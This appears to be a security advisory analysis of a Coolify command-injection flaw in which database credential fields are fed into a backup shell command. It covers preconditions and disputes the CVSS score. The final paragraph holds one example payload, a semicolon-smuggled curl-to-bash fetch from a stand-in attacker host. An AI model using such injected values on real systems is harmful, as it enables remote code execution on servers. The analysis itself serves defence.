Coolify CVE-2026-34149

Exploitation requires an authenticated Coolify session with database management permissions - specifically the ability to edit database credentials or configure MongoDB collection exclusion names within the Coolify UI. The attacker must also be able to cause DatabaseBackupJob to execute, either by waiting for a scheduled run or triggering a manual backup. Unauthenticated users cannot exploit this flaw. Users authenticated to Coolify but lacking database management permissions cannot exploit it. Single-administrator Coolify instances where only one fully trusted user exists have no realistic exploitation path. The at-risk deployment model is a multi-user or team instance where one or more lower-trust users hold the database management role as a scoped permission without full server access - this is the scenario where the flaw enables privilege escalation beyond the intended permission boundary.

The official CVSS 3.3 (Low) score - vector AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N - materially understates real-world risk on two axes. First, the Unchanged scope (S:U) conflicts with the description, which explicitly states commands execute on managed servers external to the Coolify application boundary; this is a scope change scenario. Second, C:L/I:L/A:N understates the consequence of arbitrary OS command execution on a production server. EPSS data was not supplied in the intelligence feed, so exploitation probability cannot be quantified numerically. KEV status is negative and no public POC has been identified, so exploitation is not confirmed as active. Despite PR:H as a gating requirement, the attack procedure is straightforward for any user legitimately holding database management permissions - no technical sophistication beyond editing a credential field is required, which reduces the practical barrier implied by AC:H. Real-world priority is moderate for single-administrator deployments (near-zero realistic attacker path) and meaningfully elevated for multi-user or team Coolify instances where lower-trust users hold database management roles and can abuse that access to pivot to server shell access.

A developer in a team Coolify deployment - legitimately granted database management permissions but not server shell access - edits the password field of a managed MongoDB instance to append a payload such as ; curl https://attacker.example/implant.sh | bash. When DatabaseBackupJob executes (on its next scheduled run or when triggered manually), Coolify interpolates the malicious credential directly into the backup shell command, causing the injected payload to execute on the managed server with the privileges of the backup process. No public exploit code has been identified at time of analysis.